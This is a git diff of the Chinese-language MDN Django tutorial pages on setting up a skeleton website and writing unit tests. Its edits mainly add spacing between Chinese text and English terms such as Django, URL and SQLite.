-在这个项目里,我们使用SQLite。因为在展示用的数据库中,我们不会有很多并发存取的行为。同时,也因为SQLite不需要额外的配置工作。你可以在settings.py里看到这个数据库怎样配置的。(更多信息如下所示)
+在这个项目里,我们使用 SQLite。因为在展示用的数据库中,我们不会有很多并发存取的行为。同时,也因为 SQLite 不需要额外的配置工作。你可以在settings.py里看到这个数据库怎样配置的。(更多信息如下所示)
DATABASES = { 'default': { @@ -154,26 +154,26 @@-配置数据库
}因为我们使用SQLite,不需要其他的设置了。我们继续吧!
+因为我们使用 SQLite,不需要其他的设置了。我们继续吧!
其他项目设置
-settings.py里还包括其他的一些设置,现在只需要改变时区 — 改为和 标准tz时区数据表 里的字符串相同就可以了(数据表里的TZ 列有你想要的时区)。 把
+TIME_ZONE
的值改为你的时区,比如settings.py 里还包括其他的一些设置,现在只需要改变时区 — 改为和 标准tz 时区数据表 里的字符串相同就可以了(数据表里的 TZ 列有你想要的时区)。 把
TIME_ZONE
的值改为你的时区,比如TIME_ZONE = 'Asia/Shanghai'有两个设置你现在不会用到,不过你应该留意:
-
-- -
SECRET_KEY
. 这个密匙值是Django网站安全策略的一部分。如果在开发环境中没有包好这个密匙,把代码投入生产环境时最好用不同的密匙代替。(可能从环境变量或文件中读取)。- +
DEBUG
. 这个会在debug日志里输出错误信息,而不是输入HTTP的返回码。在生产环境中,它应设置为false,因为输出的错误信息会帮助想要攻击网站的人。- +
SECRET_KEY
. 这个密匙值是 Django 网站安全策略的一部分。如果在开发环境中没有包好这个密匙,把代码投入生产环境时最好用不同的密匙代替。(可能从环境变量或文件中读取)。DEBUG
. 这个会在 debug 日志里输出错误信息,而不是输入 HTTP 的返回码。在生产环境中,它应设置为 false,因为输出的错误信息会帮助想要攻击网站的人。链接URL映射器
+链接 URL 映射器
-在项目文件夹里,创建网站时同时生成了URL映射器(urls.py)。尽管你可以用它来管理所有的URL映射,但是更常用的做法是把URL映射留到它们相关的应用中。
+在项目文件夹里,创建网站时同时生成了 URL 映射器(urls.py)。尽管你可以用它来管理所有的 URL 映射,但是更常用的做法是把 URL 映射留到它们相关的应用中。
-打开locallibrary/locallibrary/urls.py 并注意指导文字解释了一些使用URL映射器的方法。
+打开locallibrary/locallibrary/urls.py 并注意指导文字解释了一些使用 URL 映射器的方法。
-"""locallibrary URL Configuration @@ -199,12 +199,12 @@
链接URL映射器
-
URL 映射通过
+urlpatterns
变量管理,它是path()
函数的一个Python列表结构。 每个path()
函数要么将URL式样(URL pattern)关联到特定视图(specific view),将在模式匹配时显示;要么关联到某个URL式样列表的测试代码。 (第二种情况下,URL式样是目标模型里的“base URL”).urlpatterns
列表最开始定义了一个函数,这个函数将所有带有模型 admin/ 的URL映射到模块admin.site.urls
。这个函数包含了Administration 应用自己的URL映射定义。URL 映射通过
urlpatterns
变量管理,它是path()
函数的一个 Python 列表结构。 每个path()
函数要么将 URL 式样 (URL pattern) 关联到特定视图 (specific view),将在模式匹配时显示;要么关联到某个 URL 式样列表的测试代码。 (第二种情况下,URL 式样是目标模型里的“base URL”).urlpatterns
列表最开始定义了一个函数,这个函数将所有带有模型 admin/ 的 URL 映射到模块admin.site.urls
。这个函数包含了 Administration 应用自己的 URL 映射定义。-注意:path() 中的路由是一个字符串,用于定义要匹配的URL模式。该字符串可能包括一个命名变量(尖括号中)
+注意:path() 中的路由是一个字符串,用于定义要匹配的 URL 模式。该字符串可能包括一个命名变量(尖括号中)
-例:
+'catalog/<id>/'
。此模式将匹配如 /catalog/any_chars/ 的URL ,并将 any_chars 作为具有参数名称id
的字符串传递给视图。我们将在后面的主题中进一步讨论路径方法和路由模式例:
'catalog/<id>/'
。此模式将匹配如 /catalog/any_chars/ 的 URL ,并将 any_chars 作为具有参数名称id
的字符串传递给视图。我们将在后面的主题中进一步讨论路径方法和路由模式将下面的行添加到文件的底部,以便将新的项添加到
@@ -217,7 +217,7 @@urlpatterns
列表中。这个新项目包括一个path()
,它将带有catalog/
的请求转发到模块catalog.urls
(使用相对路径 URL /catalog/urls.py)。链接URL映射器
path('catalog/', include('catalog.urls')), ]现在让我们把网站的根URL(例:
+127.0.0.1:8000
)重定向到该URL:127.0.0.1:8000/catalog/
; 这是我们将在这个项目中使用的唯一应用程序,所以我们最好这样做。为了完成这个目标,我们将使用一个特殊的视图函数(RedirectView
), 当在path()
函数中指定的URL模式匹配时(在这个例子中是根URL),它将新的相对URL作为其第一个参数重定向到(/catalog/
)。现在让我们把网站的根 URL(例:
127.0.0.1:8000
) 重定向到该 URL:127.0.0.1:8000/catalog/
; 这是我们将在这个项目中使用的唯一应用程序,所以我们最好这样做。为了完成这个目标,我们将使用一个特殊的视图函数 (RedirectView
), 当在path()
函数中指定的 URL 模式匹配时(在这个例子中是根 URL),它将新的相对 URL 作为其第一个参数重定向到(/catalog/
)。将以下行再次添加到文件的底部:
@@ -227,7 +227,7 @@链接URL映射器
path('', RedirectView.as_view(url='/catalog/')), ] -将路径函数的第一个参数留空以表示'/'。如果你将第一个参数写为'/',Django会在你启动服务器时给出以下警告:
+将路径函数的第一个参数留空以表示'/'。如果你将第一个参数写为'/',Django 会在你启动服务器时给出以下警告:
@@ -244,7 +244,7 @@
链接URL映射器
-
Django 默认不提供CSS, JavaScript, 和图片等静态文件 。但是当你在开发环境中开发时,这些静态文件也很有用。作为对这个URL映射器的最后一项添加,你可以通过添加以下行在开发期间启用静态文件的服务。
+Django 默认不提供 CSS, JavaScript, 和图片等静态文件 。但是当你在开发环境中开发时,这些静态文件也很有用。作为对这个 URL 映射器的最后一项添加,你可以通过添加以下行在开发期间启用静态文件的服务。
把下面的代码加到文件最后:
@@ -259,7 +259,7 @@链接URL映射器
--注意: 有很多方法扩展
+urlpatterns
列表(在上面的代码里我们通过+=
运算符来区分新旧代码)。我们同样可以用原先列表的定义:注意: 有很多方法扩展
urlpatterns
列表 (在上面的代码里我们通过+=
运算符来区分新旧代码)。我们同样可以用原先列表的定义:urlpatterns = [ path('admin/', admin.site.urls), @@ -269,10 +269,10 @@链接URL映射器
-
除此以外,我们也可以包含import代码行 (
+from django.conf.urls import include
) ,这样更容易看出我们添加的代码,通常我们把import代码行放在Python文件的开头。除此以外,我们也可以包含 import 代码行 (
from django.conf.urls import include
) ,这样更容易看出我们添加的代码,通常我们把 import 代码行放在 Python 文件的开头。最后,在catalog 文件夹下创建一个名为 urls.py 的文件,并添加以下文本以定义导入(空)的
+urlpatterns
。这是我们在编写应用时添加式样的地方。最后,在 catalog 文件夹下创建一个名为 urls.py 的文件,并添加以下文本以定义导入(空)的
urlpatterns
。这是我们在编写应用时添加式样的地方。from django.urls import path from catalog import views @@ -289,9 +289,9 @@
测试网站框架
运行数据库迁移
-Django 使用对象关系映射器(ORM)将Django代码中的模型定义映射到底层数据库使用的数据结构。当我们更改模型定义时,Django会跟踪更改并创建数据库迁移脚本 (in /locallibrary/catalog/migrations/) 来自动迁移数据库中的底层数据结构来
+Django 使用对象关系映射器(ORM)将 Django 代码中的模型定义映射到底层数据库使用的数据结构。当我们更改模型定义时,Django 会跟踪更改并创建数据库迁移脚本 (in /locallibrary/catalog/migrations/) 来自动迁移数据库中的底层数据结构来
-当我们创建网站时,Django会自动添加一些模型供网站的管理部分使用(稍后我们会解释)。运行以下命令来定义数据库中这些模型的表(确保你位于包含 manage.py 的目录中):
+当我们创建网站时,Django 会自动添加一些模型供网站的管理部分使用(稍后我们会解释)。运行以下命令来定义数据库中这些模型的表(确保你位于包含 manage.py 的目录中):
python3 manage.py makemigrations python3 manage.py migrate @@ -301,9 +301,9 @@运行数据库迁移
重要信息: 每次模型改变,都需要运行以上命令,来影响需要存储的数据结构(包括添加和删除整个模型和单个字段)。
-该
+makemigrations
命令创建(但不适用)项目中安装的所有应用程序的迁移(你可以指定应用程序名称,也可以为单个项目运行迁移)。这让你有机会在应用这些迁移之前检查这些迁移代码—当你是Django专家时,你可以选择稍微调整它们。该
-makemigrations
命令创建(但不适用)项目中安装的所有应用程序的迁移(你可以指定应用程序名称,也可以为单个项目运行迁移)。这让你有机会在应用这些迁移之前检查这些迁移代码—当你是 Django 专家时,你可以选择稍微调整它们。这
+migrate
命令 明确应用迁移你的数据库(Django跟踪哪些已添加到当前数据库)。这
migrate
命令 明确应用迁移你的数据库(Django 跟踪哪些已添加到当前数据库)。注意: 看 Migrations (Django docs) ,了解较少使用的迁移命令的其他信息。
@@ -314,11 +314,11 @@运行网站
在开发期间,你首先要使用开发网络服务器和浏览你本机的浏览器,来测试你的网站。
--注意: 这个开发网络服务器并不够强大以及不足以用于生产使用,但是它能非常容易得使你在开发期间,获得你的Django网站和运行它,以此来进行快速测试。
+注意: 这个开发网络服务器并不够强大以及不足以用于生产使用,但是它能非常容易得使你在开发期间,获得你的 Django 网站和运行它,以此来进行快速测试。
默认情况下,服务器会开通(http://127.0.0.1:8000/),但你也可以选择其他端口。有关更多信息,查阅( django-admin and manage.py: runserver )(Django docs).通过调用
+runserver
命令运行Web服务器(与manage.py位于同一目录下):通过调用
runserver
命令运行 Web 服务器(与manage.py位于同一目录下):python3 manage.py runserver @@ -335,13 +335,13 @@运行网站
-别担心,这个错误页面是预期结果。因为我们没有在
+catalogs.urls
模块中定义任何页面/网址。(留意:当我们导航网站根目录URL时,我们被重定向到了/catalog 。)别担心,这个错误页面是预期结果。因为我们没有在
catalogs.urls
模块中定义任何页面/网址。(留意:当我们导航网站根目录 URL 时,我们被重定向到了/catalog 。)--注意: 上面的页面展示了一个重要的Django功能—自动调试日志记录。每当找不到页面,或者代码引发任何错误,就会显示错误页面,其中会提供有用的信息。在这种情况下,你可以看到我们提供的 URL 与我们任何 URL 模式都不匹配(像列出的那样)。生产环境中,日志功能将被关闭(当我们将网站存放在网络上时),这种情况下,将提供的信息量更少,但用户友好的页面。
+注意: 上面的页面展示了一个重要的 Django 功能—自动调试日志记录。每当找不到页面,或者代码引发任何错误,就会显示错误页面,其中会提供有用的信息。在这种情况下,你可以看到我们提供的 URL 与我们任何 URL 模式都不匹配(像列出的那样)。生产环境中,日志功能将被关闭(当我们将网站存放在网络上时),这种情况下,将提供的信息量更少,但用户友好的页面。
这个时候,我们知道Django正在工作。
+这个时候,我们知道 Django 正在工作。
注意: 每当进行重大更改时,都应重新运行迁移并重新测试站点。这并不需要很长时间。
@@ -351,7 +351,7 @@挑战自我
该 catalog/ 目录包含视图,模型和应用程序其他部分的文件。你可以打开这些文件并查看样板。
-如上所述,管理站点的 URL 映射已经添加到项目的 urls.py 中。导航到浏览器中的管理区域,看看会发生什么(您可以从上面的映射中推断出正确的URL)。
+如上所述,管理站点的 URL 映射已经添加到项目的 urls.py 中。导航到浏览器中的管理区域,看看会发生什么(您可以从上面的映射中推断出正确的 URL)。
@@ -365,7 +365,7 @@
概要
更多
-
diff --git a/files/zh-cn/learn/server-side/django/testing/index.html b/files/zh-cn/learn/server-side/django/testing/index.html index 6ab6751cd257b7..cba154c820387c 100644 --- a/files/zh-cn/learn/server-side/django/testing/index.html +++ b/files/zh-cn/learn/server-side/django/testing/index.html @@ -7,16 +7,16 @@- 编写你的第一个Django应用 - part 1 (Django docs)
+- 编写你的第一个 Django 应用 - part 1 (Django docs)
- Applications (Django Docs). 包括配置应用的信息。
{{PreviousMenuNext("Learn/Server-side/Django/Forms", "Learn/Server-side/Django/Deployment", "Learn/Server-side/Django")}}-随着网站的增长,他们越来越难以手动测试。不仅要进行更多的测试,而且随着组件之间的交互变得越来越复杂,一个区域的小改变可能会影响到其他区域,所以需要做更多的改变来确保一切正常运行,并且在进行更多更改时不会引入错误。减轻这些问题的一种方法是编写自动化测试,每当您进行更改时,都可以轻松可靠地运行测试。本教程演示如何使用Django的测试框架自动化您的网站的单元测试。
+随着网站的增长,他们越来越难以手动测试。不仅要进行更多的测试,而且随着组件之间的交互变得越来越复杂,一个区域的小改变可能会影响到其他区域,所以需要做更多的改变来确保一切正常运行,并且在进行更多更改时不会引入错误。减轻这些问题的一种方法是编写自动化测试,每当您进行更改时,都可以轻松可靠地运行测试。本教程演示如何使用 Django 的测试框架自动化您的网站的单元测试。
- 先决条件: -完成之前的所有教程主题,包括 Django教程 9:使用表单。 +先决条件: +完成之前的所有教程主题,包括 Django 教程 9:使用表单。 - @@ -24,7 +24,7 @@目标: +目标: 了解如何为基于 Django 的网站编写单元测试。 概览
-LocalLibrary 目前有页面显示所有书本和作者的列表,书本和作者项目的详细视图,续借
+BookInstances
的页面,以及创建,更新和删除作者项目的页面(如果您完成了Django 教程 9:使用表单中的自我挑战,也可以创建,更新和删除书本记录)。即使使用这个相对较小的站点,手动导航到每个页面,并且表面地检查一切是否按预期工作,可能需要几分钟。当我们进行更改,并扩展网站时,手动检查所有内容 “正常” 工作所需的时间只会增长。如果我们继续这样做,最终我们将花费大部分时间进行测试,并且很少有时间来改进我们的代码。LocalLibrary 目前有页面显示所有书本和作者的列表,书本和作者项目的详细视图,续借
BookInstances
的页面,以及创建,更新和删除作者项目的页面(如果您完成了Django 教程 9:使用表单中的自我挑战,也可以创建,更新和删除书本记录)。即使使用这个相对较小的站点,手动导航到每个页面,并且表面地检查一切是否按预期工作,可能需要几分钟。当我们进行更改,并扩展网站时,手动检查所有内容“正常”工作所需的时间只会增长。如果我们继续这样做,最终我们将花费大部分时间进行测试,并且很少有时间来改进我们的代码。自动化测试可以真正帮助解决这个问题!显而易见的好处,是它们可以比手动测试运行得更快,可以测试更底层级别的细节,并且每次都测试完全相同的功能(人类测试员远远没有这么可靠!)因为它们很快速,自动化的测试可以更频繁地执行,如果测试失败,他们会指出代码未按预期执行的位置。
@@ -37,7 +37,7 @@测试的类型
测试和测试方法有许多类型,级别和分类。最重要的自动化测试是:
-
- 单元测试Unit tests
+- 单元测试 Unit tests
- 验证各个组件的功能行为,通常是类别和功能级别。
- 回归测试
- 测试重现历史错误。最初运行每个测试,以验证错误是否已修复,然后重新运行,以确保在以后更改代码之后,未重新引入该错误。
@@ -46,16 +46,16 @@测试的类型
--注意: 其他常见类型的测试,包括黑盒,白盒,手动,自动,金丝雀,烟雾,一致性,验收,功能,系统,性能,负载和压力测试。查找它们以获取更多信息。
+注意:其他常见类型的测试,包括黑盒,白盒,手动,自动,金丝雀,烟雾,一致性,验收,功能,系统,性能,负载和压力测试。查找它们以获取更多信息。
Django为测试提供了什么?
+Django 为测试提供了什么?
测试网站是一项复杂的任务,因为它由多层逻辑组成 - 从 HTTP 级请求处理,查询模型,到表单验证和处理,以及模板呈现。
-Django 提供了一个测试框架,其中包含基于 Python 标准
+unittest
库的小型层次结构。尽管名称如此,但该测试框架适用于单元测试和集成测试。 Django 框架添加了 API 方法和工具,以帮助测试 Web 和 Django 特定的行为。这允许您模拟请求,插入测试数据以及检查应用程序的输出。 Django 还提供了一个API(LiveServerTestCase)和使用不同测试框架的工具,例如,您可以与流行的 Selenium 框架集成,以模拟用户与实时浏览器交互。Django 提供了一个测试框架,其中包含基于 Python 标准
-unittest
库的小型层次结构。尽管名称如此,但该测试框架适用于单元测试和集成测试。Django 框架添加了 API 方法和工具,以帮助测试 Web 和 Django 特定的行为。这允许您模拟请求,插入测试数据以及检查应用程序的输出。Django 还提供了一个 API(LiveServerTestCase)和使用不同测试框架的工具,例如,您可以与流行的 Selenium 框架集成,以模拟用户与实时浏览器交互。要编写测试,您可以从任何 Django(或unittest)测试基类(SimpleTestCase, TransactionTestCase, TestCase, LiveServerTestCase)派生,然后编写单独的方法,来检查特定功能,是否按预期工作(测试使用 “assert” 方法来测试表达式导致
+True
或False
值,或者两个值相等,等等。)当您开始测试运行时,框架将在派生类中执行所选的测试方法。测试方法独立运行,具有在类中定义的常见设置和/或拆卸行为,如下所示。要编写测试,您可以从任何 Django(或 unittest)测试基类(SimpleTestCase, TransactionTestCase, TestCase, LiveServerTestCase)派生,然后编写单独的方法,来检查特定功能,是否按预期工作(测试使用“assert”方法来测试表达式导致
True
或False
值,或者两个值相等,等等。)当您开始测试运行时,框架将在派生类中执行所选的测试方法。测试方法独立运行,具有在类中定义的常见设置和/或拆卸行为,如下所示。class YourTestClass(TestCase): @@ -77,7 +77,7 @@Django为测试提供了什么?
大多数测试的最佳基类是 django.test.TestCase。此测试类在运行测试之前,创建一个干净的数据库,并在自己的事务中,运行每个测试函数。该类还拥有一个测试客户端,您可以使用该客户端,模拟在视图级别与代码交互的用户。在下面的部分中,我们将集中讨论使用此TestCase 基类创建的单元测试。-注意: django.test.TestCase 类非常方便,但可能会导致某些测试,比它们需要的速度慢(并非每个测试,都需要设置自己的数据库,或模拟视图交互)。一旦熟悉了这个类可以做什么,您可能希望用可以用更简单的测试类,替换一些测试。
+注意: django.test.TestCase 类非常方便,但可能会导致某些测试,比它们需要的速度慢(并非每个测试,都需要设置自己的数据库,或模拟视图交互)。一旦熟悉了这个类可以做什么,您可能希望用可以用更简单的测试类,替换一些测试。
你应该测试什么?
@@ -86,7 +86,7 @@你应该测试什么?
例如,考虑下面定义的
-Author
模型。您不需要显式测试first_name
和last_name
是否已在数据库中正确储存为CharField
,因为这是 Django 定义的内容(当然,在实践中,您将不可避免地在开发期间测试此功能)。你也不需要测试date_of_birth
是否已被验证为日期字段,因为这也是 Django 中实现的东西。但是,您应该检查用于标签的文本(名字,姓氏,出生日期,死亡),以及为文本分配的字段大小(100个字符),因为这些是您的设计的一部分,可能会在将来被打破/改变。
+但是,您应该检查用于标签的文本(名字,姓氏,出生日期,死亡),以及为文本分配的字段大小(100 个字符),因为这些是您的设计的一部分,可能会在将来被打破/改变。
class Author(models.Model): first_name = models.CharField(max_length=100) @@ -105,7 +105,7 @@你应该测试什么?
-注意: 精明的读者可能会注意到,我们也希望将出生和死亡的日期限制在合理的值,并检查出生后是否死亡。在 Django中,此约束将添加到表单类中(尽管您可以为字段定义验证器,这些字段似乎仅在表单级别使用,而不是在模型级别使用)。
+注意: 精明的读者可能会注意到,我们也希望将出生和死亡的日期限制在合理的值,并检查出生后是否死亡。在 Django 中,此约束将添加到表单类中(尽管您可以为字段定义验证器,这些字段似乎仅在表单级别使用,而不是在模型级别使用)。
考虑到这些,让我们开始研究如何定义和运行测试。
@@ -129,12 +129,12 @@测试结构概述
--注意: 我们构建 Django 骨架网站时,会自动创建骨架测试文件/catalog/tests.py 。将所有测试放入其中是完全“合法的”,但如果测试正确,您将很快得到一个非常庞大且难以管理的测试文件。
+注意: 我们构建 Django 骨架网站时,会自动创建骨架测试文件/catalog/tests.py 。将所有测试放入其中是完全“合法的”,但如果测试正确,您将很快得到一个非常庞大且难以管理的测试文件。
删除骨架文件,因为我们不需要它。
打开 /catalog/tests/test_models.py。 该文件应导入
+django.test.TestCase
,如下所示:打开 /catalog/tests/test_models.py。该文件应导入
django.test.TestCase
,如下所示:from django.test import TestCase @@ -172,7 +172,7 @@测试结构概述
- -
setUpTestData()
用于类级别设置,在测试运行开始的时侯,会调用一次。您可以使用它来创建在任何测试方法中,都不会修改或更改的对象。- +
setUp()
在每个测试函数之前被调用,以设置可能被测试修改的任何对象(每个测试函数,都将获得这些对象的 “新” 版本)。setUp()
在每个测试函数之前被调用,以设置可能被测试修改的任何对象(每个测试函数,都将获得这些对象的“新”版本)。@@ -198,7 +198,7 @@如何运行测试
-如果您收到类似于以下内容的错误:
+ValueError: Missing staticfiles manifest entry ...
这可能是因为默认情况下,测试不会运行 collectstatic,而您的应用程序正在使用需要它的储存类别(有关更多信息,请参阅 manifest_strict)。有许多方法可以解决这个问题 - 最简单的方法,是在运行测试之前,简单地运行collectstatic:如果您收到类似于以下内容的错误:
ValueError: Missing staticfiles manifest entry ...
这可能是因为默认情况下,测试不会运行 collectstatic,而您的应用程序正在使用需要它的储存类别(有关更多信息,请参阅 manifest_strict)。有许多方法可以解决这个问题 - 最简单的方法,是在运行测试之前,简单地运行 collectstatic:python3 manage.py collectstatic@@ -234,7 +234,7 @@如何运行测试
在这里,我们看到有一个测试失败,我们可以确切地看到哪个函数失败了、为什么失败(这个失败是预期的,因为
False
不是True
!)。-提示: 从上面的测试输出中,学到的最重要事情是,如果为对象和方法使用描述性/信息性名称,它会更有价值。
+提示:从上面的测试输出中,学到的最重要事情是,如果为对象和方法使用描述性/信息性名称,它会更有价值。
上面以粗体显示的文本,通常不会出现在测试输出中(这是由我们的测试中的
@@ -243,11 +243,11 @@print()
函数生成的)。这显示了如何为类调用setUpTestData()
方法,并在每个方法之前调用setUp()
。如何运行测试
显示更多测试信息
-如果您想获得有关测试运行的更多信息,可以更改详细程度。例如,要列出测试成功和失败(以及有关如何设置测试数据库的大量信息),您可以将详细程度设置为 “2”,如下所示:
+如果您想获得有关测试运行的更多信息,可以更改详细程度。例如,要列出测试成功和失败(以及有关如何设置测试数据库的大量信息),您可以将详细程度设置为“2”,如下所示:
python3 manage.py test --verbosity 2-允许的详细级别为 0, 1 ,2 和 3,默认值为 “1”。
+允许的详细级别为 0, 1 ,2 和 3,默认值为“1”。
运行特定测试
@@ -264,7 +264,7 @@LocalLibrary 测试
现在我们知道,如何运行我们的测试,以及我们需要测试哪些东西,让我们看一些实际的例子。
-注意: 我们不会编写所有可能的测试,但这应该可以让您了解测试的工作原理,以及您可以做些什么。
+注意:我们不会编写所有可能的测试,但这应该可以让您了解测试的工作原理,以及您可以做些什么。
模型
@@ -342,7 +342,7 @@模型
-注意: 已省略对
+last_name
和date_of_birth
标签的测试,以及last_name
字段长度的测试。现在按照上面显示的命名约定和方法,添加您自己的版本。注意: 已省略对
last_name
和date_of_birth
标签的测试,以及last_name
字段长度的测试。现在按照上面显示的命名约定和方法,添加您自己的版本。我们还需要测试我们的自定义方法。这些基本上只是检查对象名称,是否按照我们的预期,使用“姓氏”,“名字”格式构建,并且我们为
@@ -374,7 +374,7 @@Author
获取的 URL,是我们所期望的。模型
这是一个非常小的错误,但它确实强调了,编写测试如何能够更彻底地检查,您可能做出的任何假设。
-注意: 将 date_of_death字段(/catalog/models.py)的标签更改为“death”并重新运行测试。
+注意:将 date_of_death 字段(/catalog/models.py)的标签更改为“death”并重新运行测试。
用于测试其他模型的模式,也类似于此,因此我们不会继续进一步讨论这些模式。请随意为其他模型,创建您自己的测试。
@@ -456,7 +456,7 @@表单
其余函数,测试表单对于续借日期,在可接受范围内是否有效,对于范围外的值,是否无效。请注意我们如何使用
datetime.timedelta()
,在当前日期(datetime.date.today()
)周围构建测试日期值(在这种情况下指定天数或周数)。然后我们只需创建表单,传入我们的数据,并测试它是否有效。-@@ -465,16 +465,16 @@注意: 这里我们实际上并没有使用数据库,或测试客户端。考虑修改这些测试,以使用SimpleTestCase。
+注意: 这里我们实际上并没有使用数据库,或测试客户端。考虑修改这些测试,以使用SimpleTestCase。
如果表单无效,我们还需要验证是否引发了正确的错误,但这通常是作为视图处理的一部分完成的,因此我们将在下一节中处理。
表单
视图
-为了验证我们的视图行为,我们使用 Django 的测试客户端。这个类,就像一个虚拟的Web浏览器,我们可以使用它,来模拟URL上的
+GET
和POST
请求,并观察响应。我们几乎可以看到,关于响应的所有内容,从低层级的 HTTP(结果标头和状态代码),到我们用来呈现HTML的模板,以及我们传递给它的上下文数据。我们还可以看到重定向链(如果有的话),并在每一步检查URL,和状态代码。这允许我们验证每个视图,是否正在执行预期的操作。为了验证我们的视图行为,我们使用 Django 的测试客户端。这个类,就像一个虚拟的 Web 浏览器,我们可以使用它,来模拟 URL 上的
-GET
和POST
请求,并观察响应。我们几乎可以看到,关于响应的所有内容,从低层级的 HTTP(结果标头和状态代码),到我们用来呈现 HTML 的模板,以及我们传递给它的上下文数据。我们还可以看到重定向链(如果有的话),并在每一步检查 URL,和状态代码。这允许我们验证每个视图,是否正在执行预期的操作。让我们从最简单的视图开始,它提供了所有作者的列表。它显示在 URL /catalog/authors/ 当中(URL 配置中,名为 “authors” 的 URL)。
+让我们从最简单的视图开始,它提供了所有作者的列表。它显示在 URL /catalog/authors/ 当中(URL 配置中,名为“authors”的 URL)。
class AuthorListView(generic.ListView): model = Author paginate_by = 10-由于这是一个通用列表视图,几乎所有内容,都由 Django 为我们完成。可以说,如果您信任 Django,那么您唯一需要测试的,是视图可以通过正确的 URL 访问,并且可以使用其名称进行访问。但是,如果您使用的是测试驱动的开发过程,则首先编写测试,确认视图显示所有作者,并将其分成10个。
+由于这是一个通用列表视图,几乎所有内容,都由 Django 为我们完成。可以说,如果您信任 Django,那么您唯一需要测试的,是视图可以通过正确的 URL 访问,并且可以使用其名称进行访问。但是,如果您使用的是测试驱动的开发过程,则首先编写测试,确认视图显示所有作者,并将其分成 10 个。
打开 /catalog/tests/test_views.py 文件,并用
@@ -523,7 +523,7 @@AuthorListView
的以下测试代码,替换任何现有文本。和以前一样,我们导入模型,和一些有用的类。在setUpTestData()
方法中,我们设置了许多Author
对象,以便我们可以测试我们的分页。视图
self.assertTrue(resp.context['is_paginated'] == True) self.assertTrue( len(resp.context['author_list']) == 3) -所有测试,都使用客户端(属于我们的
+TestCase
的派生类)来模拟GET
请求,并获得响应(resp
)。第一个版本检查特定 URL(注意,只是没有域名的特定路径),而第二个版本从 URL配置中的名称生成 URL。所有测试,都使用客户端(属于我们的
TestCase
的派生类)来模拟GET
请求,并获得响应(resp
)。第一个版本检查特定 URL(注意,只是没有域名的特定路径),而第二个版本从 URL 配置中的名称生成 URL。resp = self.client.get('/catalog/authors/') resp = self.client.get(reverse('authors')) @@ -556,7 +556,7 @@-仅限登录用户的视图
-注意: 下面的
+setUp()
代码,会创建一个具有指定语言Language
的书本,但您的代码可能不包含语言模型Language
,因为它是作为挑战创建的。如果是这种情况,只需注释掉创建或导入语言对象的代码部分。您还应该在随后的RenewBookInstancesViewTest
部分中,执行此操作。注意: 下面的
setUp()
代码,会创建一个具有指定语言Language
的书本,但您的代码可能不包含语言模型Language
,因为它是作为挑战创建的。如果是这种情况,只需注释掉创建或导入语言对象的代码部分。您还应该在随后的RenewBookInstancesViewTest
部分中,执行此操作。import datetime @@ -612,7 +612,7 @@-仅限登录用户的视图
self.assertTemplateUsed(resp, 'catalog/bookinstance_list_borrowed_user.html')要验证如果用户未登录,视图将重定向到登录页面,我们使用
+assertRedirects
,如test_redirect_if_not_logged_in()
中所示。要验证是否已为登录用户显示该页面,我们首先登录我们的测试用户,然后再次访问该页面,并检查我们获得的status_code
为200(成功)。要验证如果用户未登录,视图将重定向到登录页面,我们使用
assertRedirects
,如test_redirect_if_not_logged_in()
中所示。要验证是否已为登录用户显示该页面,我们首先登录我们的测试用户,然后再次访问该页面,并检查我们获得的status_code
为 200(成功)。测试的其余部分,验证我们的观点,仅返回借给当前借用人的书本。复制上面测试类末尾的(自解释)代码。
@@ -714,7 +714,7 @@使用表单测试视图
return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})我们需要测试该视图,仅供具有
+can_mark_returned
权限的用户使用,并且如果用户尝试续借不存在的BookInstance
,则会将用户重定向到HTTP 404错误页面。我们应该检查表单的初始值,是否以未来三周的日期为参考值,如果验证成功,我们将被重定向到 “所有借阅的书本” 视图。作为验证 - 失败测试的一部分,我们还将检查我们的表单,是否发送了相应的错误消息。我们需要测试该视图,仅供具有
can_mark_returned
权限的用户使用,并且如果用户尝试续借不存在的BookInstance
,则会将用户重定向到 HTTP 404 错误页面。我们应该检查表单的初始值,是否以未来三周的日期为参考值,如果验证成功,我们将被重定向到“所有借阅的书本”视图。作为验证 - 失败测试的一部分,我们还将检查我们的表单,是否发送了相应的错误消息。将测试类的第一部分(如下所示),添加到 /catalog/tests/test_views.py 的底部。这将创建两个用户和两个书本实例,但只为一个用户提供访问该视图所需的权限。在测试期间,授予权限的代码以粗体显示:
@@ -808,7 +808,7 @@使用表单测试视图
self.assertEqual(resp.context['form'].initial['renewal_date'], date_3_weeks_in_future ) -下一个测试(将其添加到类中)会检查如果续借成功,视图会重定向到所有借书的列表。这里的不同之处在于,我们首次展示了,如何使用客户端发布(
+POST
)数据。 post数据是post函数的第二个参数,并被指定为键/值的字典。下一个测试(将其添加到类中)会检查如果续借成功,视图会重定向到所有借书的列表。这里的不同之处在于,我们首次展示了,如何使用客户端发布(
POST
)数据。post 数据是 post 函数的第二个参数,并被指定为键/值的字典。def test_redirects_to_all_borrowed_book_list_on_success(self): login = self.client.login(username='testuser2', password='12345') @@ -818,7 +818,7 @@使用表单测试视图
-重要:全部借用的视图作为额外挑战,您的代码可能会改为重定向到主页'/'。如果是这样,请将测试代码的最后两行,修改为与下面的代码类似。请求中的
+follow=True
,确保请求返回最终目标URL(因此检查/catalog/
而不是/
)。重要:全部借用的视图作为额外挑战,您的代码可能会改为重定向到主页'/'。如果是这样,请将测试代码的最后两行,修改为与下面的代码类似。请求中的
follow=True
,确保请求返回最终目标 URL(因此检查/catalog/
而不是/
)。resp = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future},follow=True ) self.assertRedirects(resp, '/catalog/')@@ -845,7 +845,7 @@使用表单测试视图
模板
-Django 提供测试 API 来检查您的视图,是否正在调用正确的模板,并允许您验证,是否正在发送正确的信息。但是,没有特定的 API,支持在 Django中测试 HTML输出,是否按预期呈现。
+Django 提供测试 API 来检查您的视图,是否正在调用正确的模板,并允许您验证,是否正在发送正确的信息。但是,没有特定的 API,支持在 Django 中测试 HTML 输出,是否按预期呈现。
其他推荐的测试工具
@@ -854,7 +854,7 @@其他推荐的测试工具
虽然您可以使用许多其他测试工具,但我们只重点介绍两个:
-
@@ -876,7 +876,7 @@- Coverage: 此Python工具报告您的测试,实际执行了多少代码。当开始使用时,你正试图找出你应该测试的确切内容,它会特别有用。
+- Coverage: 此 Python 工具报告您的测试,实际执行了多少代码。当开始使用时,你正试图找出你应该测试的确切内容,它会特别有用。
